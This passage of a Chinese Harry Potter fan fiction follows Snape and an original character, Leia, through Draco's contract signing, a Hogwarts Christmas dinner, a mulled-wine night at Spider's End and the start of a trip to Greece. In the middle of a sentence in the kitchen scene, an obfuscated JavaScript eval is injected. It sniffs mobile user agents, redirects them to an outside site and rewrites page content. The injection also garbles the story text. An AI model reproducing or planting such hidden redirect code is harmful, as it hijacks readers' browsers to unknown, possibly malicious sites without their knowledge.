“意思是,他希望我等阿斯托利亚毕业就跟她结婚。他好像认为这样就能让马尔福家重新振作起来……”马尔福的语气带着稍微的不满,他掂起斯内普递给他的羊皮纸浏览,似乎更有不满地嘟哝道:“这工资……我还必须住校吗?” “是,作为助教的第一年,你必须住在学校。这是为了让你更好地了解霍格沃茨的运作。”斯内普忽略掉他前面的话语和对工资的抱怨,不紧不慢地递给他一只羽毛笔,“我以为斯拉格霍恩教授都跟你说明过了?” “他只是欢迎我加入,没提其他。”马尔福耸了耸肩,半是开玩笑半是自嘲道:“大概是害怕我逃跑?毕竟好不容易有人愿意做魔药学助教。” 斯内普轻哼了一声,直截了当地回他:“所以,如果现在你想逃跑,还不算太晚。一旦签下合同,至少一年内是不可以反悔的。” “我不会反悔的。”马尔福调整一下坐姿,显得更加恳切,灰色的眼睛也透露出不容置疑的坚定,“就像我之前说的,我已经下定决心,不再让斯莱特林那样下去了。” “这态度倒还算可以。”斯内普微微颔首,“在签字前,如果你还有什么问题,现在可以问。” 刚拿起羽毛笔的马尔福因为这句话顿了顿,他犹豫地抬头,直视斯内普那张没多少感情的脸:“有个问题,可能与合同无关,我可以问吗?” “说吧。”斯内普简洁地答复。 马尔福毫无血色的嘴唇稍稍卷曲,他顺了顺垂落的金发,踌躇着紧盯斯内普:“你……真的跟她在一起了?我没记错的话,她确实去当傲罗了吧。……我是那天看到报纸,才想起那段时间她确实经常出现在你办公室。还有,万圣节晚会上,你跟她跳舞了吧?” 斯内普闭了闭眼,双臂交叉在胸前,胸膛在那下面缓缓起伏。良久,他按住心中的不快,答道:“德拉科,我不认为我的私生活是你该关心的事项。但你既然问了,那么答案是正如你所见。”他的声音逐渐低沉下去,眼神略带一丝严肃地直视马尔福,继而说:“以后,关于这个话题,不要再提,也不准向他人透露。"” 马尔福双眼空洞地张大了嘴,惊愕地猛猛点头,长久以后才堪堪维持住自己表面的平静。他的手颤抖着铺平了签名用的羊皮纸,在如被雷击过般的震惊中勉强签下自己的名字,却一度差点让羽毛笔滴落的墨水在纸上洇成小洼。签名完成后,他急切地一饮而尽杯中的红茶,才感到情绪平复了些。 斯内普查看过马尔福的签署,又扬起下颚没好气看着他本人,黑眸冷淡到跟凉透的茶水无二:“好了,恭喜你再度成为霍格沃茨的一员。”他将合同卷起,轻轻送回办公桌上,“接下来的周末,我需要你仔细思考如何改善各学院间的关系,这也是下周一教师会议的讨论重点。至于其他事务,你按斯拉格霍恩教授的安排去做。” “呃,我知道了。”马尔福站起身准备离开,心里还在无意中想着这位魔药学大师到底看上那个莽撞的格兰芬多哪一点。 不对,反过来也亦然——马尔福不由自主地按住之前被那女孩揪疼过的手腕陷入沉思。 斯拉格霍恩教授会知道这个事吗? 他要不要也去试探一下? 82.礼物 【本章为圣诞节发糖,人物行为仅与节日有关。推荐BGM:Christmas List-Anson Seabra。】 蕾雅的魔力测试结果,一直等到十二月中旬才发回到她的手上。斯威克主任在闲暇时查阅不少以往傲罗们的档案,还专门就此跑到楼上神秘司去和雷格纳及其他缄默者讨论过,但依然无法得出什么有用的头绪。就连莱恩哈特副司长本人,也完全不能理解为什么女儿会有这样“额外”的天赋。斯内普也是,只能表示他会在空余中查看古书是否有类似记录——但魔力检定仪是近十年神秘司才研发的仪器,且只有一台,专为魔法部使用,所以古书不太可能有相关的记载。 因此,得到的魔力测试报告也只能显示一些平常的检测结果。 嗯,魔咒运用能力:XXXX,应急能力:XXXX,防御魔法能力:XXX,洞察力:XXX……(1) 根据魔力鉴定,擅长进攻、治疗、防护魔咒,有古代魔法和心灵魔法天赋。 最后,不论雷格纳,亦或是斯内普,都只能无奈地决定将这事暂时搁置。 此时,蕾雅面前的汉密尔顿副主任满意地收起魔杖,沉稳地说:“辛苦了,蕾雅,今天先到这里吧。”说完,他抱着蕾雅的档案就先一步离开房间。 蕾雅从训练室走出来,回到更衣室换下训练服。艾琳娜·弗利已经换好衣服在长椅上等着她:“今天又是表现良好?” “嗯。”蕾雅偏了偏头,转向留有一头柔顺白金发的艾琳娜,轻轻应一句。她关上置物柜,拎起鞋子踱过去坐在艾琳娜的旁边,开始系马丁靴的鞋带。 “再这么下去,还没等到真的实战那天,你都得是我们傲罗办公室的王牌了。我听莫尔他们说,很少有谁每次训练都是良好的。”艾琳娜梳顺长发,扣上深蓝色的羊绒外套,站起身,“我到现在还是很想知道,当时斯内普教授对你的训练里到底都包含了些什么。” 是在跟艾琳娜熟络后,蕾雅也与她分享不少霍格沃茨之战中的细节,特别是当时自己是怎么跟斯内普配合的事。 “哎呀,你又不是不认识斯内普教授。他要求严格又苛刻,我那会儿受了不少伤呢。”蕾雅努努嘴,也起身,两个人边说话边走向傲罗办公区域,“其实我比较佩服你,可以一整天都投入到秘籍解读和文字工作中。你知道,我每次刚翻过三页就要开始打瞌睡了。” 艾琳娜笑着摆了摆手:“家族传统。” 其实工作了近两个月,蕾雅也挺惊讶地发现,她或许真的如当时斯威克主任劝她加入时所说的,可能是一名天生傲罗。那些战斗技巧和魔咒对她来说十分得心应手,让她都有一点开始期待真正能运用战斗的那天——这么说来,她竟然在傲罗办公室找到自己的存在意义,除了,别让她去做会议记录。 “今天还是让你去会议记录吗,艾琳娜?”蕾雅和艾琳娜走到咖啡角,准备按照往常习惯,打一杯咖啡再回去工作。 “是啊,他们好像挺乐意让我做这个。”在等待咖啡淌出的时间,艾琳娜的手指无意识地敲打着料理台,“你呢?还在处理那个案子吗?” “对,就差找到那篇报道了。所以我等下会去档案区看看。”蕾雅接过艾琳娜递过来的咖啡杯,加了两勺糖,“你圣诞节是回汉普郡吗?” “嗯,你是晚上跟副司长回去做圣诞大餐?”艾琳娜笑着问。 “一贯传统。”蕾雅点点头,也温和地笑起来,“那么,等下可能见不到你了,先祝你圣诞快乐。希望你有个愉快的假期。”她举着咖啡杯,向艾琳娜伸出另一只手。 “好,一贯传统,圣诞快乐。”艾琳娜接过对方的拥抱,“你也是,好好享受假期。” 结束档案的整理和调查报告的撰写,蕾雅在办公桌前伸了个懒腰。她眼角的余光扫过窗台上的一个六角形花瓶,里面插着一束被施加了固定魔咒的淡蓝色绣球花。她的桌上,隔板钉着一条项链,垂落的是那个小巧而漆黑的蝙蝠吊饰。再往下,是一个镶着金丝的沙漏型小魔药瓶,瓶中的暗红液体在阳光下透出晶莹剔透的幻彩,里面还有浮沉的金色粒子漂浮。这是她从斯内普那里收到的就职礼物,她按照他的意思放在身边,但斯内普没有告诉她里面是什么药。 蕾雅晃晃脑袋,抓紧时间将今天的工作收尾。就在下班时间的前十分钟,她给资深傲罗提交了那份案件调查报告。这会儿,刚好碰到从训练室返回的罗恩和哈利,蕾雅也跟他们道了节日快乐。几个人收好东西,聊了会儿天,便在升降梯大厅分别,她独自来到九层神秘司副司长的办公室。 刚推开父亲的办公室门,她的手腕很适时地变热,低头一看,是斯内普算好时间发来的信息: 「我在」很简短,但她确实也不再需要更多的话。 「好」她也同样简短地回答他。 父亲的办公室非常简洁,与别人的完全不一样,没有任何能看出主人性格的装饰。唯一一样与他工作无关的东西是一张摆放在办公桌上的魔法照片。那里面,是三岁的蕾雅被奥德莉亚怀抱嬉笑的样子,照片没有映出奥德莉亚的脸,大概是雷格纳害怕魔法界的任何危险涉及到她。 “爸爸。”蕾雅关上门,径直拿起放在壁炉边上的行李,是她早上来的时候放在这里的。 雷格纳还在整理假期中需要查看的资料,只是飞快地抬头看蕾雅熟稔地走进他的壁炉:“你现在过去西弗勒斯那边?外公的地址没忘记吧?”他的语速同样飞快。 ?“放心好了,实在不行我会在电话亭给外公打电话的。爸爸你才是,别忘了带护照,别等下又让妈妈一个人坐飞机。”蕾雅调皮地打趣父亲,然后洒下飞路粉,零零散散的绿色坠落在她的身边,“那祝你和妈妈今晚二人世界愉快,希腊见。”她挥了挥手。 “好。”雷格纳温和地回答女儿,“明天见,宝贝。” “西弗勒斯·斯内普的个人房间,霍格沃茨。”蕾雅清脆的话音落下,一阵飘荡的浓烟升起。 下一秒,她手中的物品就被一双大手接过,随即,连带整个人都被捞过去。她一抬眼,已稳稳地落入到一个宽厚的环抱,有清冷的气息和羊皮纸的味道包裹住她。 “西弗勒斯。”她眨眨眼睛,在他的脸侧印上一吻,“圣诞节快乐。” “还没到。”他碰了碰她的发顶,轻轻松开她,将她的行李安置在他的壁炉旁。 “可是我已经给你准备好礼物了呢。”她笑着转过身,从行李袋中翻出一样毛茸茸的东西。 “是吗?”斯内普努力保持一如既往的沉着面容,看她踮起脚将一条墨绿色的围巾绕过他的脖子。 “我得赶在你收到那堆乱七八糟的礼物之前。”她边说,边细心地替他系好围巾。斯内普垂眸注视她指尖的动作,倏地注意到毛线的角落有一个小狮子头的绣花。 稍稍勾起嘴角,他说:“没有什么礼物,是你多心了。” “是吗?”蕾雅收回手,不假思索地拉起他的手,跑到隔壁的校长室。迎着壁炉的亮光,茶几上堆砌着小山似的包装盒正闪耀得灿烂。她一脸“看吧”的表情看向斯内普,不满地拧紧眉心。 “这都是给邓布利多的。”斯内普低笑道,话里有几分讥讽。 “嗯?”蕾雅往茶几走得更近,随手用魔杖挑起一个卡片,挑起眉毛道:“那这个卡片为什么写着S——” 还没等她念完呢,身后的斯内普已悄悄抬手挥动魔杖,茶几上什么也没有剩下。 “你!——”蕾雅惊愕地回过头,与那双镇定到似乎从来没有发生过什么的黑色眼睛相对。 斯内普毫不在意地耸耸肩,轻描淡写道:“你不是还想给其他教授准备礼物吗?现在去吧,等下晚餐要开始了。” 霍格沃茨的圣诞节永远是最动人的。 漫天的大雪和圣诞装饰将这里变成一个幻美的冬日童话世界。与室外的纯白相应,长廊之中挂满的是鲜艳的冬青花环和红丝带。斯拉格霍恩教授还特地购置不少会自动亮灯的金灿铃铛,和大红的彩球一同被串起在翠绿的圣诞植物间,很是醒目好看。今年只有很少的学生在假期留校,所以邓布利多还特意贴心地布置不少粲然闪烁的星星和烛火,希望这样能让那些回不了家的小巫师们感到温馨。 庭院和礼堂中的十二颗圣诞树依旧是按照传统,由海格精心挑选的。平日的学院长桌都被移到靠墙的位置,被圣诞树和礼物挡住了。每棵树底下都堆满了教授们为留校学生准备的礼物,用红色和绿色的油纸包裹,幽灵们正在那里窥探讨论包装纸内都是什么。 弗立维和麦格教授在每棵树的顶端都装饰一棵璀璨的星星,教师主桌后的那棵最为巨大,犹如夜空中的太阳般耀眼。到时间亮灯,同样明炽的魔法烛火与被漆成鎏金的松塔从大厅的上方降落,悬停在唾手可及的低空,是圣诞夜特有的梦幻华美。 那之下,摆着一张能容下十几人的桌子,铺着红色与白色编织的刺绣桌布。邓布利多、麦格、弗立维、斯普劳特、斯拉格霍恩、特里劳妮、海格都在场,还有费尔奇,和当上助教纳威、德拉科,另有四五个穿着校袍的学生。当蕾雅和斯内普一同走进礼堂大厅,他们和德拉科·马尔福有如出一辙的满脸难以置信。 “噢西弗勒斯,你这新围巾不错,跟圣诞节很配。”一身华丽星月袍的邓布利多愉悦地打破沉默,“坐吧,坐吧。”其他教授也在这时亲切和蔼地对蕾雅点头,丝毫没有为她的出现感到讶异,看来大部分的教授都已然知晓两人的关系,并在那份报道之后的一个多月间消化这件事。 “这位是毕业生蕾雅·莱恩哈特小姐,我相信你们对她也不陌生了。她是特意回来跟我们过圣诞节的,当然了,我相信今后你们还会经常见到她。就像斯内普校长说的,霍格沃茨永远为它所有的学生敞开大门。”见斯内普绷直身板抿紧嘴唇,邓布利多大方地替他向好奇的学生们做介绍。 “我以前作为学生时都没意识到霍格沃茨的圣诞是这样的。”蕾雅牵起一个温和的笑容,“我刚刚给大家烤一点圣诞甜点。”她这样说着,餐桌上即刻浮现出一大盘形状可爱的奶油小熊纸杯蛋糕,与那些圣诞火鸡、蜜汁烤腿、烤香肠、小牛排、苹果派……等等共同放在桌上。见到这份精心制作的甜点,邓布利多的眼睛亮亮的,忙不迭地就用魔杖将其中一个送到面前的盘子,丝毫没有顾及斯内普和麦格教授锋利的目光。 “真贴心呐,蕾雅。”弗立维教授也掂起一个小蛋糕,而正端起红酒杯的斯拉格霍恩教授则是面带愉悦地调侃道:“看看,我们年轻的魔药大师将要被照顾得很好咯。”他为自己的暗语捧腹大笑,还引得旁边的斯普劳特教授跟着笑了一声。倒是德拉科,一张拘谨而惨白的脸都不知道该做出什么表情,只好跟因为照顾植物而饿透了的纳威一起埋头吃烤鸡。 蕾雅虽有些害羞,但清楚这种情况是大方些的好,而且今后这种场合定不会少。她抿抿唇,保持着适度有礼的微笑,继而走到纳威身边的空位上落座,斯内普则坐在邓布利多主席位的右手边。 “好啦,都不是陌生人。让我们放松些。”邓布利多热情地笑开怀,从桌底下拿出一个银色的圆锥形物品。 “怎么又是这个,阿不思,你就不能有点新意?”正在切一块小牛排的麦格教授毫不留情的揶揄道。 “米勒娃,传统可不能丢失。即使我未来不在了,你们也要记得让斯内普校长延续这个传统。”邓布利多祥和地笑了,随后对面上铺开茫然和困惑的学生们说:“这是爆竹,别看它外表普通,可不知道里面藏有什么玄机哦。”他故作神秘地压低声音,随后将银色爆竹的尾端推给没来得及吃上一口食物的斯内普,后者不情不愿地抬了抬眼,搁下银叉,伸手拉断引绳。(2) “砰——”的一声,一朵五彩的礼花在众人头顶绽放,彩带像是窗外的雪屑那样四散飞舞,几只活跃的巧克力蛙应声一纵到餐桌上面,“噢!快抓住他们!”邓布利多急忙催促。 那几个低年级的小巫师照做了,在助教和蕾雅的帮助下手忙脚乱地捕捉到全部的巧克力蛙。小玩意在他们的掌心变回巧克力块,是老巫师乐呵呵地为他们准备的礼物。这时,彩带掉在地上,邓布利多手中的爆竹礼花已经变幻为一顶大大的帽子,上面装饰着一座城堡。 那是霍格沃茨的城堡,高高的尖塔下面悬挂着一座古老的大钟。 “圣诞快乐,孩子们。”邓布利多用银勺轻敲高脚杯,对场上所有人洪亮宣布。学生们咧开笑,纷纷鼓掌,海格、弗立维教授和斯拉格霍恩教授高举的酒杯在空中相碰,发出清脆悦耳的碰撞声。 斯内普微不可察地动了动嘴唇,终究也还是没有说出话,只能用眼神警告邓布利多不要将礼帽递给他。 “别担心,这是我给自己留的圣诞礼物。”邓布利多似是安慰他地一笑,抬手就自顾自戴上礼帽。收回手时,他顺便掂了掂架在鼻梁上的眼镜,眼睛之后,宛若大海辰星的蓝眼睛有着比平时更为深沉的色彩。 “你要知道,我永远热爱霍格沃茨。”邓布利多恳切地说,“就跟你一样,西弗勒斯。” …… 按照她的提议,他们在离开前在城堡里流连片刻。走得远了,圣诞节的光晕在两人的身后卷缩成一团暧昧模糊的缱绻。眼前,没有枝叶的大树上满是密密层层的纯白,眺望开去,远处的景色都在黑夜中变成看不到尽头的白茫,而无边的冬雾之下是漫卷的大雪。 冷风夹杂着霜雪拂在颜上,带来澄冻的触感。蕾雅不自觉地缩缩脖子,却果断地阻止了正要举起魔杖打开防护伞的斯内普。男巫顿了顿,改为替她整理好会让风雪钻进去的松散围巾。之后,他握起她有些冰凉的手,放进长袍的口袋,他的指尖与她的手指紧扣在一起。他们就这样紧靠着,踩踏在施加了融雪咒语的石头小径,慢慢地穿过被无光夜晚笼罩的庭院。 “谢谢。”她在风里突然开口。 “谢什么?”斯内普略有疑惑地反问她。 蕾雅朝身边人定定地扬起笑容,小声却清晰地说道:“谢谢你,出现在我的世界。” 斯内普的身体微微一僵,紧了紧口袋中的手掌,好像是在回应她。他们在一棵树下停住脚步,斯内普侧眸看向她,一片漂泊的雪花恰好随风落在她泛红的鼻尖上。浅白衬着她脸颊的绯红,如同盛开在冬夜的桃夭。 蕾雅也感觉到鼻端的微凉,她轻笑一下,调皮地用嘴巴轻轻向上呼气,试图吹散那片寒冷。斯内普端详着眼前人的脸庞,也举起手,想抹去一些沾在她眉毛和眼睫上的雪渣。 忽而,有什么细微的躁动在两人上方传过来。 没来得及循声去看,下一个瞬间,一整片再也维持不住的积雪从树梢上沉重地掉落,在空中碎裂开,宛若一场骤然而苍茫的暴风雪。两人都来不及施展魔咒,斯内普迅速地将她按在怀中,任由倾洒的雪全部砸落在他的肩背。 “没事吧?”一切都停息,蕾雅紧贴着男巫温暖的身躯,半是心疼半是好笑地抽出手替他拍掉残留在衣袍、围巾和发间的雪碎。她一边拨开缠在他乌发上的纯白雪渣,还是没有忍住地笑出声。她抬起头,对上斯内普那张静默且不悦的脸,以及——她很快被另外一样东西吸引注意力。 那是之前被层雪遮掩住的,盘踞在光秃树枝的一株槲寄生。在夜雪之中依然顽强葱绿到令人无法忽视,繁盛的枝叶间有如星宿般的白色果实点缀。 “又是槲寄生。”斯内普显然也看到了枝头的植物。 “这是第二次了吧?”她笑靥温婉地低语道。 “嗯,第二次。”他懒懒地回应她,别过脸,才发现眼前人已稍稍踮起脚跟,一脸期待地凝望他。那明眸翠潋,与枝头的绿意也并无二致。斯内普缓缓闭了下眼,最终无奈地扯扯嘴角,手指穿进她的发丝间,俯下身准备将她拉近一点—— “等等。”他突兀地压低声,停下动作转身将她挡在身后。 “怎么了?”蕾雅轻声问,疑惑地看斯内普从口袋中抽出魔杖。 只见,黑发校长动作利索而迅速地施展一个魔咒,旁边被雪覆盖得看不出模样的玫瑰花丛被猛地拨开。从那里传出两声尖叫和衣物摩擦的声音,“对、对不起,斯内普校长!” “我就在想,刚才在礼堂怎么没见到你们。”斯内普凶狠而冷峻的嗓音比这夜雪还要低温不少,看来即使是圣诞夜,他也丝毫没有任何要宽容的意思,“格兰芬多学院扣去十分,莱西!还有赫奇帕奇也扣去十分,穆尼尔!现在赶紧给我滚回你们的公共休息室。给你们假期留校学习的机会,并不是让你们在这里谈情说爱的!”(3) 这下,斯内普再也没有了闲逛的心情。他们返回城堡,沿着大理石楼梯检查一圈过于空旷的塔楼,确认没有学生在外面徘徊,又前往了教师休息室,叮嘱守夜的助教纳威和德拉科在假期也不要松懈,校长不希望再看见任何违反校规的行为。 做完这些,斯内普与驻守在霍格沃茨的邓布利多和麦格告别,才放心折返校长室,从那里的壁炉回到蜘蛛尾巷的家。 彼时,时间已不早。星月都躲藏起来,因为这里也在下一场大雪。室外的温度骤降至零下几度,铺天盖地的白雪将本就寂寥无色的街道冰封住,连同那条原来浓稠到昏黑的河流,一片浩大壮阔的玄素。这么看去,倒反而像将这方小城冻结成了世界尽头的冷酷王国。(4) 他的屋内,壁炉开得很暖,柴火在黑灰的砖块间欢快地跳跃作响。男巫为她调好热水,在等待她洗澡的间隙里久违地踱进厨房。开始处理调理台上摆放着的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14623147|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从霍格沃茨厨房讨回来的草莓、鲜橙、苹果、柠檬、蓝莓,以及一小包肉桂卷。 没有使用魔杖,他更加久违地将材料仔细按在砧板上,用小刀细致切成规整的薄片。他把所有处理好的水果整齐放在锅中,缓缓灌入上次余下的红酒,并架上两根肉桂卷,用小火慢慢煨炖。 他盯着锅中冒起的暗红小泡沫,莫名回忆到当时莱恩哈特先生亲手烹饪的早餐,内心突然明了过来为什么当时雷格纳也没有选择使用魔杖。虽然仅是些简单又枯燥的动作,却能神奇地带来一种令人感到平静的安稳感,他说不清楚这到底是什么原因,但他并不讨厌这种感觉。 又想起来,他其实从来没有在蜘蛛尾巷过过真正完整的圣诞节。或者说,任何一个节日——它们大多跟平时无异,充斥着无尽的争吵和摔砸。即便是一年街上氛围最浓的圣诞节,不过是多了艾琳偶尔的一句“西弗,圣诞节快乐”。 小时候的他,在路过别人房前的圣诞装饰和彩灯时,也不是没有踌躇止步过。在那些热闹节日过后的翌日,他也不是没有盯着垃圾堆里缤纷的礼物包装纸出神过。而那些人生中还算好的那几年圣诞节,是收到了莉莉·伊万斯的贺卡,细想也并无再多。 这么一想,最好的圣诞节竟然都是与她有关的。 第一年在办公室,第二年在莱恩哈特家,第三年—— 男巫收回思绪,伴随“咕咚咕咚”的安逸炖煮声,甘甜的红酒香气很快从厨房蔓延到整个家,仿佛是看得见的馥郁。这是,他听到换上新睡衣的人儿跟随着味道,从楼上匆匆跑下来。脚步声逐渐靠近,他却并不急着回头,只是感受到从背后伸来的一双手臂环绕着自己,紧紧的,暖暖的,像是冰雪见阳,又像是——将本来空落的心室,一点点装满的光和暖意。 “你还会煮热红酒呢?”她悦耳的话语是轻快雀跃的,“我本来还想提议的,只是怕麻烦你。” “跟魔药相比,不是什么难事。”他加入一勺提香的蜂蜜和朗姆酒,轻微搅拌,从壁橱中取出两个人的杯子倒入热红酒。 “说起来,我刚去卧室的时候看到了。”蕾雅愉悦地跟在端着两杯红酒的男人身后,回到客厅。 斯内普把圣诞夜饮料搁在茶几上,回过身来。面前人正穿着一身新睡衣,浴室的热气显然还未完全散尽,正裹挟着他沐浴露的味道从她温热的颈间散发。他蓦地移开视线,低声问:“你看见什么?” “你给我买的圣诞礼物,在……”她顿住了,有些不好意思往下说。 “在哪里?”斯内普挑起眉毛,显然没打算放过她。 她避开他的眼神,径自绕到沙发和壁炉之间,那里铺有一张崭新的羊羔地毯——是为了她的习惯购置的。她端起一杯红酒,咬了咬唇,才轻声细语道:“……嗯,在床上。” 是一只系着绿色绸带的泰迪熊,还有一个蓬松柔软的枕头。 不仅这些,她还注意到他的床头挂着她去年织的圣诞毛线袜,不知道是从什么时候就挂上的。她并不打算追问,也预感到斯内普肯定会含糊其辞。 “别乱想,那只是买枕头送的。”斯内普笑了笑,俯下身在她额上落下一个轻吻,“我去洗澡。你如果困了,就先去睡。” “我打算烤火看会书呢。”她说着放下杯子,伸手从一旁的行李袋翻出一本红色封面的书。 斯内普再次回到她身边的时刻已过午夜,她杯中的红酒也下去了一半。他在她的旁边坐下,壁炉暖橘明艳的火色笼罩两人。 蕾雅自然地将头靠在他的肩侧,“平安夜快乐,西弗。” 他轻哼一声,抿了一口明显是被她施加过保温咒的红酒,伸手将她圈进臂弯,“平安夜快乐。” 她用头碰了碰他的胸膛,找到一个舒适的姿势后翻过一页书。他无意地垂眸,才发现她捧着的竟然是一本与圣诞有关的诗集。 书页泛黄,那些跨越年月的字句像是于仲冬踏雪而来的脚印,轻柔却坚定: “What can I give Him. Poor as I am? (我能给予他什么呢,我是这般贫穷) If I were a Shepherd, I would bring a lamb; (若我是牧羊人,我将献上一只羔羊) If I were a Wise Man, I would do my part, (若我是智者,我将为他尽心尽力) Yet what I can I give Him —Give my heart. (然而,我所能给予的,只能是我的心)”(5) 斯内普木然地顿住一刻,没来由地顺着诗歌开始思考,他能给她什么呢? 一直以来,他感觉都是他在向她索取。爱情也好,陪伴也好,甚至她的家,她的家人。 原本,除了母亲、霍格沃茨和邓布利多那不知有几分真情的施舍,从来没有谁真正给予过他什么东西。没有谁会为他准备晚宴,没有谁会问他爱吃什么食物,问他爱喝什么酒。更不会专门邀请他到家中,将他当成家庭的一份子。 ——不是霍格沃茨校长,不是凤凰社成员,不是食死徒,不是教授,亦不是斯莱特林。 只是把他当做他,是西弗勒斯·斯内普。 那些曾经所追求的功名利禄,等真的为此付出巨大的代价获得了,他才发现,这些也都不过是虚假的泡沫幻影,世间再也没有任何的东西能比得过无私给予的真心。 “怎么啦,西弗?”靠在他身上的人儿理所当然地察觉到他的心情。她举起手,覆在他的脸侧,安抚般来回摩挲,“你今天怎么格外爱沉思?都在想什么呢?” 斯内普深吸一口气,慢慢放松绷紧的心弦,以指背划开她滑落的发丝,拇指轻按在她饱满的唇上。他眯了眯眼,感受到自己的心中正无可抑制地涌现出一种对他来说从未有过的冲动。 如此的温暖,如此的热忱。 他也想要给予她。 给予她所有她想要的,更多的,无论他能不能承担得起的一切。 “你。”他说。 蕾雅为此怔愣瞬间,然后莞尔一笑:“我就在你身边呀。”她真的希望,自己今后不要再为这个男人突然流露的感情感到惊讶了。虽然,她知道,他曾经筑起的那道高墙早已崩塌到无影无踪,那之后留下的,是西弗勒斯一颗赤诚而柔软的真心。 是他,给予她的。 “谢谢。”她情不自禁地脱口道。 “我想说很久了。”斯内普哽了哽喉咙,声音仍旧有点沙哑:“以后别再跟我说谢谢,也别一直跟我道歉。” 她快速坐起身,注视他的脸思考一阵,才点了点头,又急忙补充:“我只能向你保证我会克制。毕竟,我真的有太多东西要感谢你,西弗。” 反了。 斯内普直视那双执着的绿眸几秒,决定不再争论这个问题,于是巧妙地移开话题:“好了,现在真的该睡觉了。如果你明天不想太晚出发的话。” “嗯?你今天肯放过我?”她红着脸嘟哝,意有所指地瞄向男人。 “唔。”被她这么一看,斯内普倒感觉耳尖也要跟她滚烫的脸颊一起热得发疼。他连忙敛住表情,锐利地斜她一眼,黑眸沉满不容置疑的严厉:“先说清楚,上次是谁不让谁睡觉的?”他低下头,喉结缓缓滚动,很认真地思考过该怎么惩治她的胡闹,片刻后,他毫不留情地将她压在地毯上,怒气冲冲地咬向她白皙的脖颈。 “好痒,西弗……别!”她在他的怀中笑闹挣扎成一团,转动脑袋想躲开他,却好像引得对方更为生气,“我的书掉了!”她不想再在意他的情绪了,仅是抗议般指了指被两人甩到另一侧的圣诞诗集。 “别在意。”他低沉地说,牢牢按住不断推耸他的一对手腕,用身体重量将她禁锢在臂膀间。而后,许许多多炙热的,湿润的,近乎报复般的吻烙在她身上。 这是一种热红酒滑入喉咙的浓郁热烈,又是围在炉火旁听取圣诞故事的美好幸福。 他最终吻到那在槲寄生下诱惑过他的唇瓣,听见有更多甜蜜而含糊的呜咽声湮没在他的口中。 是啊,即使跟她在一起已经经过近半年,他依然时常会这样被她的淘气和突如其来的直率弄得无所适从。 但是没关系,他定会习惯的。 习惯她的物品一点点遍布在他的家中,习惯她的气味永远铭刻在他的枕被间,习惯——今后每一个有她在身边的、再也不彷徨孤清的圣诞夜。 嗯,也许还得习惯—— 第二天到达她外公家,那条叫做肉桂卷的金毛犬,扑上来在他脸侧过分热情的舔舐。 83.爱在 上午九点刚过,简单吃了些垫肚子的食物后,两人便带上行李来到魔法部的交通司。 考虑到是平安夜的当天,出国的人大概会十分多,他们是特意提早来这里递交出国申请的——两个人还都特意佩戴一顶帽子,是完全不想引起任何的注意。 幸运的是,办理手续的工作人员在看到两个人的脸时仅是惊讶地一愣,也很快就被斯内普眼下那种咄咄逼人的目光震慑住,迅速地通过了他们的申请,并允许两人立刻进入跨国的传送壁炉。 所以没到十点,两人已经稳稳当当地踏在希腊的大地上。准确的说,是伯罗奔尼撒半岛的山坡大地,蕾雅顺利地以幻影移形带着斯内普来到外公家门前。 “没想到我真的会和你一起来到这里。”蕾雅牵着明显木然不少的斯内普穿过外公的花园。这块不大的田地里种满了迷迭香、金盏花和薄荷,角落的简易温室内还有几株芦荟。温室的旁边,一块长窄的木板被砖块垒起,用于晒放植物。她不好意思地笑了笑:“想当时给你写明信片的时候,我还不敢写太多话,怕打扰到你。” 她的话让他想起那个压抑的一月。 回过神来,才明白这是为什么当时那张明信片上只有他名字的原因。 只要想起来那段时间,斯内普依然会不由自主地忆起那些莫名被伏地魔夺走生命的无辜人。一想到他们的灵魂将永久地留在冰冷到砭骨的马尔福庄园,他的内心旋即感到一阵不可抵抗的窒息。 提着行李和伴手礼的男人胸膛起伏一下,他慢慢地回头眺望身后,远处是一片蓝得出奇的大海。高悬的旭日明黄晃眼,映衬着漫山的那些红到宛如被朝霞染透的屋顶,而屋顶之下,黄褐色的石墙让人感到温暖。 一模一样,跟那张她给他寄去的明信片一模一样。就连扑在脸上的,与英国湿润寒凉的冷风完全不同的地中海干燥海风,也如想象中的那样鲜艳,那样真实清晰。 “那你当时想对我说什么?”斯内普的目光从远处收回,努力让自己一点点去适应因为身处未知世界而产生的不适。 蕾雅和他停在那个挂着“Winslow(温斯洛)”的雕花大门前,蓦地回想起当初在那家酒馆写下明信片的情景,“当时啊?我就想问问你假期过得好不好,又想问药剂的进展如何,还想告诉你这里有多美……” 当然,她那会儿也想说要是有机会的话,真想跟你一起来这里看看,西弗勒斯。蕾雅摸摸自己的鼻尖,在心中暗自将那份暗恋他的酸涩按下。 斯内普捏了下紧扣着的她的手,低声告诉她:“其实,我并不排斥。” “那时候你就……不排斥了?!”蕾雅惊讶地偏了偏头。 男巫为达成捉弄她的目的而轻哼一声,并不打算再向她过多袒露自己,转而扭头直视前方的大门,撇开话题:“好了,我假设你知道这门不会自己打开?” 了解斯内普的蕾雅明显清楚这是眼前人害羞的信号,于是欢悦地伸手去准备按门铃,同时又停顿一瞬,侧头对有点拘谨的男人说道:“记得,外公不知道我们是巫师。” “放心,我记得很清楚,包括你父亲替我安排的‘身份’。”斯内普略微抬起下巴,以表示他的态度。 门铃刚响起的三秒,大门就被拉开。没想到映入蕾雅眼帘的不是外公或者父亲的脸,而是一个从门缝挤出来的黄色身影,迅猛如一道来不及掩耳的闪电雷鸣。 “汪!” “肉桂卷!”蕾雅轻快地呼喊,欣然见到肉桂卷毛茸茸的快乐尾巴在疯狂地摇摆,像是某种直升机的螺旋桨。它欢快地扑向蕾雅,差点让她在台阶上失去重心往后摔倒。 斯内普几乎是下意识地用手扶稳身边人,但下一秒,金毛寻回犬就注意到这个未曾谋面的男子,接着激动地从蕾雅怀中掉转目标。 